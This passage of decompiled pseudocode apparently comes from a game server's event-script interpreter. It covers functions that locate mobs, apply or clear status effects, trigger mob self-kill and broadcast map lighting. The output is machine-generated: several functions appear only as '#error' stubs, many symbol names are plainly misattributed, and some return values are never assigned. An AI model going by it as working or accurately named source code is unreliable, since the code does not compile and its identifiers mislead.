index_ply.pst_Buffer) ) { v13 = 2; v14 = -1; } else { v13 = 5; MoveManager::MoveManager((DiceTaiSai *)&mobname); v16 = BTree::operator__(&mobdatabox.mdb_btree, v15); v14 = -1; if ( v16 != -1 ) v14 = v16; } PineScriptToken::pst_Clear(&tkn); v17 = v25->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v33) = 3; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v17->sa_Calculate)(&tkn, ps) != 0 ) { v18 = PineScriptToken::pst_GetNumber(&tkn, 0); AxialListMobFind::AxialListMobFind((AxialListMobFind *)&almf, v14, v13, v18); v19 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v33) = 4; Movie::Theater::t_AllInMap(v19, (AxialListIterator *)&almf); v20 = v27; v21 = PineScriptToken::pst_Clear(variable); PineScriptToken::pst_MergeNumber(v21, v20); v22 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 3; almf = (int)&AxialListMobFind::_vftable_; v10 = v22; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almf); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); v10 = PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v33) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v33) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&smobname); LOBYTE(v33) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobname); v33 = -1; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no mob", 0); v12 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v33) = 0; v10 = v12; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobname); v33 = -1; } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step", v9 != 0); v33 = -1; v10 = PineScriptStack::ProcessStack::ps_Pop(ps); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineFindHandle::sa_Step"); return v10; } //----- (004D68F0) -------------------------------------------------------- #error "4D68F0: undefined or illegal type '#593' (funcsize=23)" //----- (004D6930) -------------------------------------------------------- #error "4D6930: undefined or illegal type '#593' (funcsize=16)" //----- (004D6960) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatSet::sa_Step(PineEventScriptNode::ShineAbstatSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineAbstatSet *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 const char *v11; // eax@3 unsigned int v12; // ebp@3 int v13; // eax@4 MobTacticElement::MobActionBase *v14; // eax@6 int v15; // eax@6 int v16; // ebx@10 MobTacticElement::MobActionBase *v17; // eax@10 MobTacticElement::MobActionBase *v18; // eax@10 PineEventScriptNode::Express *v19; // eax@11 int v20; // eax@12 unsigned __int16 v21; // ax@13 void *v22; // eax@13 AxialListIterator *v23; // ecx@16 PineScriptToken *v24; // eax@18 const char *v25; // eax@18 unsigned __int16 v26; // ax@18 #593 *v27; // edi@19 Movie::Theater *v28; // ecx@21 unsigned __int16 result; // ax@26 const char *v30; // [sp+0h] [bp-264h]@5 char *v31; // [sp+4h] [bp-260h]@2 int v32; // [sp+4h] [bp-260h]@4 int strength; // [sp+18h] [bp-24Ch]@1 AbnormalStateDictionary::AbState::AbStateStr *dic; // [sp+1Ch] [bp-248h]@6 FunctionEntarance _; // [sp+20h] [bp-244h]@1 AxialListMobStateSet almss; // [sp+24h] [bp-240h]@11 AxialListIterator ali; // [sp+3Ch] [bp-228h]@21 PineScriptToken tkn; // [sp+54h] [bp-210h]@1 PineScriptToken thisa; // [sp+154h] [bp-110h]@10 unsigned int v40; // [sp+254h] [bp-10h]@1 int v41; // [sp+260h] [bp-4h]@1 v4 = this; v40 = (unsigned int)&strength ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineAbstatSet::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatSet::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineAbstatSet::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v41 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineAbstatSet"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v41) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); strength = v9 != 0; if ( v9 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v41 = -1; v31 = "PineEventScriptNode::ShineAbstatSet::sa_Step"; LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v31); goto LABEL_26; } v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&tkn); MoveManager::MoveManager((DiceTaiSai *)&tkn); v12 = BTree::operator__(&unk_6BD71C, v11); if ( v12 == -1 ) goto LABEL_9; v13 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); strength = v13 != 0; v32 = 0; if ( v13 == 0 ) { v30 = "PineEventScriptNode::ShineFindHandle::sa_Step : no skip"; LABEL_8: AssertClass::ac_AssertFail(&shineassert, v30, v32); LABEL_9: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v41 = -1; LABEL_24: v31 = "PineEventScriptNode::ShineAbstatSet::sa_Step"; goto LABEL_25; } strength = PineScriptToken::pst_GetNumber(&tkn, 0); v14 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v14, (MobTacticElement::MobActionArgument *)&tkn); v15 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[2]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); dic = (AbnormalStateDictionary::AbState::AbStateStr *)(v15 != 0); v32 = 0; if ( v15 == 0 ) { v30 = "PineEventScriptNode::ShineFindHandle::sa_Step : no keep"; goto LABEL_8; } v16 = PineScriptToken::pst_GetNumber(&tkn, 0); v17 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); v18 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v17, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v18, &trc_eol); dic = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v12); PineScriptToken::pst_Clear(&thisa); LOBYTE(v41) = 2; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &thisa, ps); PineScriptToken::pst_ToLower(&thisa); if ( !PineScriptToken::operator__(&thisa, index_all.pst_Buffer) ) { v24 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); MoveManager::MoveManager((DiceTaiSai *)v24); v26 = MobDataBox::mdb_2MobID(&mobdatabox, v25); if ( v26 == -1 ) { v27 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( !v27 ) { LABEL_23: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v41 = -1; goto LABEL_24; } AxialListMobStateSet::AxialListMobStateSet(&almss, 0xFFFFu, (ABSTATEINDEX)v12, strength, dic, v16); LOBYTE(v41) = 4; AxialListMobStateSet::almss_AbStateSet(&almss, v27); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v23 = (AxialListIterator *)&almss; } else { AxialListMobStateSet::AxialListMobStateSet( (AxialListMobStateSet *)&ali, v26, (ABSTATEINDEX)v12, strength, dic, v16); v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v41) = 5; Movie::Theater::t_AllInMap(v28, &ali); ali.vfptr = (AxialListIteratorVtbl *)&AxialListMobStateSet::_vftable_; v23 = &ali; } LABEL_22: LOBYTE(v41) = 2; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)v23); goto LABEL_23; } AxialListPlayerStateSet::AxialListPlayerStateSet( (AxialListPlayerStateSet *)&almss, (ABSTATEINDEX)v12, strength, dic, v16); v19 = v4->baseclass_0.os_Express[3]; LOBYTE(v41) = 3; if ( !v19 ) { Movie::Theater::t_AllInMap(*(Movie::Theater **)&ps->gap10114[4], &almss.baseclass_0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v23 = (AxialListIterator *)&almss; goto LABEL_22; } v20 = (int)v19->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v19, &tkn, ps); if ( !AssertClass::operator__( &shineassert, v20 != 0, "PineEventScriptNode::ShineAbstatSet::sa_Step : no Player with handle", 0) ) { v21 = PineScriptToken::pst_GetNumber(&tkn, 0); v22 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v21); if ( !v22 ) { PineScriptToken::pst_GetNumber(&tkn, 0); goto LABEL_15; } ShineObjectClass::ShineObject::so_AllInMap(v22, (int)&almss, 0); almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; v23 = (AxialListIterator *)&almss; goto LABEL_22; } LABEL_15: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 2; almss.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListPlayerStateSet::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almss); LOBYTE(v41) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v41 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_26: __security_check_cookie((unsigned int)&strength ^ v40); return result; } // 652E98: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #593 *obj, int distancesquar); // 652E9C: using guessed type int (__thiscall *AxialListPlayerStateSet___vftable_)(AxialListPlayerStateSet *this, int, #593 *obj, int distancesquar); //----- (004D6E10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatReset::sa_Step(PineEventScriptNode::ShineAbstatReset *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineAbstatReset *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@4 MobTacticElement::MobActionBase *v11; // eax@4 const char *v12; // eax@4 PineScriptToken *v13; // eax@5 const char *v14; // eax@5 unsigned int v15; // eax@5 __int16 v16; // bp@5 #593 *v17; // edi@7 Movie::Theater *v18; // ecx@9 unsigned __int16 result; // ax@12 ABSTATEINDEX abstateidx; // [sp+10h] [bp-130h]@1 int (__thiscall **almss)(AxialListMobStateSet *, int, #593 *, int); // [sp+14h] [bp-12Ch]@8 int v22; // [sp+18h] [bp-128h]@9 ABSTATEINDEX v23; // [sp+1Ch] [bp-124h]@9 int v24; // [sp+20h] [bp-120h]@9 int v25; // [sp+24h] [bp-11Ch]@9 int v26; // [sp+28h] [bp-118h]@9 FunctionEntarance _; // [sp+2Ch] [bp-114h]@1 PineScriptToken tkn; // [sp+30h] [bp-110h]@1 unsigned int v29; // [sp+130h] [bp-10h]@1 int v30; // [sp+13Ch] [bp-4h]@1 v4 = this; v29 = (unsigned int)&abstateidx ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineAbstatReset::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatReset::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineAbstatReset::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineAbstatReset"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v30) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); abstateidx = v9 != 0; if ( v9 != 0 ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); MoveManager::MoveManager((DiceTaiSai *)&tkn); abstateidx = BTree::operator__(&unk_6BD71C, v12); if ( abstateidx == -1 ) goto LABEL_3; v13 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); MoveManager::MoveManager((DiceTaiSai *)v13); v15 = BTree::operator__(&mobdatabox.mdb_btree, v14); v16 = v15; if ( v15 != -1 && (_WORD)v15 != -1 ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almss); almss = &AxialListMobStateSet::_vftable_; LOWORD(v22) = v16; v23 = abstateidx; v24 = 0; v25 = 0; v26 = 0; v18 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v30) = 3; Movie::Theater::t_AllInMap(v18, (AxialListIterator *)&almss); almss = &AxialListMobStateSet::_vftable_; } else { v17 = PineEventScriptNode::OtherStatement::os_ShineObject(&v4->baseclass_0, ps); if ( !v17 ) { LABEL_11: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v30) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v30 = -1; goto LABEL_12; } AxialListMobStateSet::AxialListMobStateSet((AxialListMobStateSet *)&almss, 0xFFFFu, abstateidx, 0, 0, 0); LOBYTE(v30) = 2; AxialListMobStateSet::almss_AbStateSet((AxialListMobStateSet *)&almss, v17); almss = &AxialListMobStateSet::_vftable_; } LOBYTE(v30) = 1; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almss); goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no handle", 0); LABEL_3: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v30) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v30 = -1; LABEL_12: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineAbstatReset::sa_Step"); __security_check_cookie((unsigned int)&abstateidx ^ v29); return result; } // 652E98: using guessed type int (__thiscall *AxialListMobStateSet___vftable_)(AxialListMobStateSet *this, int, #593 *obj, int distancesquar); //----- (004D7090) -------------------------------------------------------- #error "4D7090: undefined or illegal type '#593' (funcsize=107)" //----- (004D7200) -------------------------------------------------------- #error "4D7200: undefined or illegal type '#593' (funcsize=47)" //----- (004D72D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSuicide::sa_Step(PineEventScriptNode::ShineSuicide *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSuicide *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineScriptToken *v10; // eax@1 void *v11; // ecx@2 int v12; // eax@6 unsigned __int16 v13; // si@6 const char *v14; // eax@7 unsigned int v15; // eax@7 int v16; // esi@9 const char *v17; // eax@9 int (__thiscall **v18)(AxialListMobSuicide *, int, #593 *, int); // edi@11 void *v19; // ecx@11 #593 *v20; // esi@14 unsigned __int16 v21; // ax@18 unsigned __int16 v22; // si@18 int (__thiscall **alms)(AxialListMobSuicide *, int, #593 *, int); // [sp+Ch] [bp-324h]@2 __int16 v25; // [sp+10h] [bp-320h]@2 FunctionEntarance _; // [sp+14h] [bp-31Ch]@1 PineScriptToken tkn; // [sp+18h] [bp-318h]@1 PineScriptToken temp; // [sp+118h] [bp-218h]@6 PineScriptToken all; // [sp+218h] [bp-118h]@1 unsigned int v30; // [sp+31Ch] [bp-14h]@1 int v31; // [sp+32Ch] [bp-4h]@1 int v32; // [sp+330h] [bp+0h]@1 v4 = this; v30 = (unsigned int)&v32 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineSuicide::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineSuicide::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineSuicide::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v31 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineSuicide"); PineScriptToken::pst_Clear(&tkn); LOBYTE(v31) = 1; PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); v9 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v8, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); memcpy(&all, &tkn, sizeof(all)); LOBYTE(v31) = 2; v10 = PineScriptToken::pst_ToLower(&all); if ( !PineScriptToken::operator__(v10, "all") ) { v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = v12; PineScriptToken::PineScriptToken(&temp, v12); LOBYTE(v31) = 4; if ( PineScriptToken::operator__(&temp, tkn.pst_Buffer) ) { MoveManager::MoveManager((DiceTaiSai *)&tkn); v15 = BTree::operator__(&mobdatabox.mdb_btree, v14); if ( v15 == -1 ) LOWORD(v15) = -1; v16 = (unsigned __int16)v15; MoveManager::MoveManager((DiceTaiSai *)&tkn); if ( v16 == 65535 ) AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineSuicide::sa_Step : Invalid mob id", v17); AxialListIterator::AxialListIterator((AxialListIterator *)&alms); v18 = &AxialListMobSuicide::_vftable_; alms = &AxialListMobSuicide::_vftable_; v25 = v16; v19 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v31) = 5; if ( v19 ) ShineObjectClass::ShineObject::so_AllInMap(v19, (int)&alms, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); } else { v20 = ShineObjectManager::som_GetObject(&shineobjmanager, v13); if ( !v20 ) { LABEL_17: LOBYTE(v31) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&temp); goto LABEL_18; } AxialListIterator::AxialListIterator((AxialListIterator *)&alms); v18 = &AxialListMobSuicide::_vftable_; alms = &AxialListMobSuicide::_vftable_; v25 = -1; LOBYTE(v31) = 6; AxialListMobSuicide::alms_SelfKill((AxialListMobSuicide *)&alms, v20); } LOBYTE(v31) = 4; alms = v18; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alms); goto LABEL_17; } AxialListIterator::AxialListIterator((AxialListIterator *)&alms); alms = &AxialListMobSuicide::_vftable_; v25 = -1; v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v31) = 3; if ( v11 ) ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&alms, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v31) = 2; alms = &AxialListMobSuicide::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alms); LABEL_18: v21 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v31) = 1; v22 = v21; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&all); LOBYTE(v31) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v31 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineSuicide::sa_Step"); return v22; } // 633D2C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #593 *obj, int distancesquar); //----- (004D7620) -------------------------------------------------------- #error "4D7620: undefined or illegal type '#593' (funcsize=142)" //----- (004D7840) -------------------------------------------------------- #error "4D7840: undefined or illegal type '#593' (funcsize=142)" //----- (004D7A60) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMapLight::sa_Step(PineEventScriptNode::ShineMapLight *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMapLight *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 int v10; // eax@2 PineEventScriptNode::Express *v11; // ecx@2 int v12; // eax@2 int v13; // eax@3 PineEventScriptNode::Express *v14; // edi@3 int v15; // eax@3 int v16; // eax@5 char v17; // bl@5 MobTacticElement::MobActionArgument *v18; // ST14_4@5 MobTacticElement::MobActionArgument *v19; // ST0C_4@5 MobTacticElement::MobActionArgument *v20; // ST04_4@5 MobTacticElement::MobActionBase *v21; // eax@5 MobTacticElement::MobActionBase *v22; // eax@5 MobTacticElement::MobActionBase *v23; // eax@5 MobTacticElement::MobActionBase *v24; // eax@5 MobTacticElement::MobActionBase *v25; // eax@5 char *v26; // eax@5 char v27; // cl@5 char v28; // dl@5 Movie::Theater *v29; // ecx@5 unsigned __int16 result; // ax@6 int v31; // [sp+4h] [bp-140h]@1 char *v32; // [sp+4h] [bp-140h]@4 int blue; // [sp+18h] [bp-12Ch]@1 int red; // [sp+1Ch] [bp-128h]@2 FunctionEntarance _; // [sp+20h] [bp-124h]@1 AxialListPacketBroadcast alchat; // [sp+24h] [bp-120h]@5 int v37; // [sp+30h] [bp-114h]@3 PineScriptToken tkn; // [sp+34h] [bp-110h]@1 unsigned int v39; // [sp+134h] [bp-10h]@1 int v40; // [sp+140h] [bp-4h]@1 v4 = this; v39 = (unsigned int)&blue ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineMapLight::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineMapLight::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMapLight::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v40 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMapLight"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v40) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); blue = v9 != 0; v31 = 0; if ( v9 != 0 && (v10 = PineScriptToken::pst_GetNumber(&tkn, 0), v11 = v4->baseclass_0.os_Express[1], red = v10, v12 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v11->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), blue = v12 != 0, v31 = 0, v12 != 0) && (v13 = PineScriptToken::pst_GetNumber(&tkn, 0), v14 = v4->baseclass_0.os_Express[2], blue = v13, v15 = (int)v14->baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)v14, &tkn, ps), v37 = v15 != 0, v31 = 0, v15 != 0) ) { v16 = PineScriptToken::pst_GetNumber(&tkn, 0); v17 = v16; v18 = (MobTacticElement::MobActionArgument *)v16; v19 = (MobTacticElement::MobActionArgument *)blue; v20 = (MobTacticElement::MobActionArgument *)red; v21 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63C688); v22 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v21, v20); v23 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v22, &stru_63C688); v24 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v23, v19); v25 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v24, &stru_63C688); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v25, v18); v26 = gpp.pp_Buffer; v27 = red; v28 = blue; *(_WORD *)gpp.pp_Buffer = 27658; v26[2] = v27; v26[4] = v28; v26[3] = v17; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v29 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v40) = 2; Movie::Theater::t_AllInMap(v29, &alchat.baseclass_0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v32 = "PineEventScriptNode::ShineMapLight::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMapLight::sa_Step : no argument", v31); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v40) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v32 = "PineEventScriptNode::ShineMapLight::sa_Step"; } --funcallanalizer.fca_stackpoint; v40 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v32); __security_check_cookie((unsigned int)&blue ^ v39); return result; } //----- (004D7CD0) 